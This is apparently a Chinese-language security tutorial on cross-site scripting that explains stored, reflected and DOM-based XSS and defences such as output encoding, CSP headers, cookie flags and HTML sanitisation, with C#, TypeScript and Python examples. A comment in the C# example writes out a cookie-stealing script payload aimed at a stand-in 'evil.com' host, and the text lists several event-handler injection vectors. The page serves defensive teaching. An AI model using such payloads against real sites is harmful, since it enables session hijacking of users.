XSS 跨站腳本攻擊(Cross-Site Scripting)

是什麼?

XSS(Cross-Site Scripting)是攻擊者將惡意 JavaScript 程式碼注入到網頁中,在其他使用者的瀏覽器中執行。可以竊取 Cookie / Token、冒充使用者操作、竄改頁面內容、導向釣魚網站。

ℹ️為什麼叫 XSS 不叫 CSS

為了避免和 CSS(Cascading Style Sheets)混淆,所以用 XSS 作為縮寫。XSS 在 OWASP Top 10:2021 中被歸入 A03: Injection 類別。

核心觀念

常見誤區

⚠️常見誤區

  • 只過濾 <script> 標籤:XSS 不只靠 <script>,還可以用 <img onerror="..."><svg onload="..."><a href="javascript:..."> 等方式執行。黑名單過濾永遠不夠完整
  • 前端框架就不會有 XSS:React、Vue、Angular 預設做 HTML Escape,但使用 dangerouslySetInnerHTML(React)或 v-html(Vue)時就繞過了防護
  • HttpOnly Cookie 就完全安全了:HttpOnly 防止 JavaScript 讀取 Cookie,但 XSS 仍然可以冒充使用者發送請求(因為瀏覽器會自動帶上 Cookie)

流程/步驟

1

輸入驗證

在伺服器端驗證所有輸入的格式和長度

2

Output Encoding

輸出到 HTML/JS/URL 時做對應的編碼

3

設定 CSP Header

限制腳本來源,禁止 inline script

4

使用框架的安全特性

React JSX、Vue template 預設做 HTML Escape

5

設定 Cookie 屬性

HttpOnly + Secure + SameSite 保護 Cookie

6

定期掃描

用 DAST 工具自動測試 XSS 漏洞

流程解讀:XSS 防禦是多層的。輸入驗證是第一層,Output Encoding 是最關鍵的一層(在輸出時處理),CSP Header 是額外的安全網。使用現代前端框架的預設安全特性,避免使用繞過防護的 API。

程式碼範例

C# 版本

csharp
// Stored XSS 攻擊場景
// 攻擊者在留言中輸入: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
// 如果直接輸出,所有看到這則留言的人的 Cookie 都會被偷
 
// 防禦 1: ASP.NET Core Razor — 預設做 HTML Encoding
// @Model.Comment ← 預設安全,自動轉義
// @Html.Raw(Model.Comment) ← 危險!跳過轉義
 
// 防禦 2: 手動 HTML Encode
using System.Web;
 
public string SanitizeOutput(string input)
    => HttpUtility.HtmlEncode(input);
// "<script>alert(1)</script>" → "&lt;script&gt;alert(1)&lt;/script&gt;"
 
// 防禦 3: CSP Header
app.Use(async (context, next) =>
{
    context.Response.Headers.Append(
        "Content-Security-Policy",
        "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;"
    );
    await next();
});
 
// 防禦 4: Cookie 安全屬性
builder.Services.AddAuthentication().AddCookie(options =>
{
    options.Cookie.HttpOnly = true;    // JS 不能讀取
    options.Cookie.SecurePolicy = CookieSecurePolicy.Always; // 只走 HTTPS
    options.Cookie.SameSite = SameSiteMode.Strict; // 不隨跨站請求發送
});

TypeScript 版本

typescript
// React — 預設安全
function Comment({ text }: { text: string }) {
  // 安全:React JSX 預設做 HTML Escape
  return <p>{text}</p>;
  // "<script>alert(1)</script>" 會顯示為文字,不會執行
}
 
// 危險!繞過 React 的保護
function UnsafeComment({ html }: { html: string }) {
  // 永遠不要用 dangerouslySetInnerHTML 處理使用者輸入
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
 
// 如果必須允許部分 HTML(如富文本編輯器),用 DOMPurify 消毒
import DOMPurify from "dompurify";
 
function SafeRichContent({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br"],
    ALLOWED_ATTR: ["href"],
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
 
// DOM-based XSS 防禦
// 危險!
// document.getElementById("output").innerHTML = location.hash.slice(1);
 
// 正確!用 textContent 而非 innerHTML
document.getElementById("output")!.textContent = location.hash.slice(1);
 
// Express.js — CSP + 安全 Headers
import helmet from "helmet";
app.use(
  helmet({
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],
        styleSrc: ["'self'", "'unsafe-inline'"],
        imgSrc: ["'self'", "data:"],
      },
    },
  })
);

Python 版本

python
# Jinja2 — 預設做 HTML Escape
from markupsafe import escape
 
# 安全:Jinja2 模板預設轉義
# {{ user_comment }} ← 自動轉義
# {{ user_comment|safe }} ← 危險!跳過轉義
 
# 手動轉義
safe_output = escape("<script>alert(1)</script>")
# 結果: "&lt;script&gt;alert(1)&lt;/script&gt;"
 
# FastAPI — CSP Header
from fastapi import FastAPI
from fastapi.middleware.trustedhost import TrustedHostMiddleware
 
app = FastAPI()
 
@app.middleware("http")
async def add_security_headers(request, call_next):
    response = await call_next(request)
    response.headers["Content-Security-Policy"] = (
        "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
    )
    response.headers["X-Content-Type-Options"] = "nosniff"
    response.headers["X-Frame-Options"] = "DENY"
    return response
 
# 如果需要允許部分 HTML,用 bleach 消毒
import bleach
 
def sanitize_html(html: str) -> str:
    return bleach.clean(
        html,
        tags=["b", "i", "em", "strong", "a", "p", "br"],
        attributes={"a": ["href"]},
        strip=True,
    )
 
# 驗證 URL(防止 javascript: 協議的 XSS)
from urllib.parse import urlparse
 
def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    return parsed.scheme in ("http", "https", "")

架構圖/概念圖

Attacker
posts malicious comment
Stored XSS (in DB)
executes on page load
Reflected XSS (in URL)
executes on click
DOM XSS (in Browser)
executes via JS
Victim Browser
sends to attacker
Stolen Cookie / Session

三種 XSS 的攻擊路徑不同但結果相同:惡意 JavaScript 在受害者的瀏覽器中執行。Stored XSS 危害最大(持久、被動觸發)、Reflected XSS 需要使用者點擊連結、DOM XSS 完全在前端發生。

實戰補充

Q: 面試怎麼解釋三種 XSS 的差別?

A: 用一句話區分:Stored(惡意腳本存在伺服器,任何人看到都會中招)、Reflected(惡意腳本藏在 URL,要點連結才中招)、DOM-based(惡意腳本完全在前端處理,不經過伺服器)。Stored 危害最大因為是持久的且被動觸發。

Q: CSP 怎麼設定?

A: 從嚴格的策略開始:default-src 'self'(只允許自己網域的資源)。按需開放:script-src 'self'(腳本只來自自己)、img-src 'self' data:(圖片允許 data URI)。永遠不要設 unsafe-eval,盡量避免 unsafe-inline

Q: 富文本編輯器(如 CKEditor)怎麼防 XSS?

A: 在伺服器端用白名單消毒(Sanitize)— 只允許安全的 HTML 標籤(<b>, <i>, <a>)和屬性(href)。C# 用 HtmlSanitizer、JavaScript 用 DOMPurify、Python 用 bleach。永遠不要信任前端編輯器的輸出。

理解測驗

🤔 三種 XSS 中,哪種危害最大?為什麼?

🤔 React 的 JSX 預設如何防禦 XSS?

🤔 CSP(Content Security Policy)如何防禦 XSS?

重點整理

💡一句話記住

XSS 防禦 = 輸出時做 Encoding + CSP 限制腳本來源 + 不信任使用者輸入。 口訣:「輸出必轉義,CSP 必設定」

| XSS 類型 | 攻擊方式 | 觸發條件 | 持久性 | |----------|---------|---------|--------| | Stored | 惡意腳本存在伺服器 | 瀏覽頁面就觸發 | 持久 | | Reflected | 惡意腳本在 URL 中 | 點擊連結才觸發 | 非持久 | | DOM-based | 前端 JS 處理不安全輸入 | 前端操作觸發 | 非持久 |

| 防禦層級 | 措施 | |---------|------| | 最關鍵 | Output Encoding(輸出時轉義) | | 框架層 | React JSX / Vue template 預設安全 | | HTTP 層 | CSP Header 限制腳本來源 | | Cookie 層 | HttpOnly + Secure + SameSite | | 需要富文本時 | DOMPurify / bleach 白名單消毒 |

你可能也想看

Injection 注入攻擊Authentication Security

按 ← → 鍵切換課程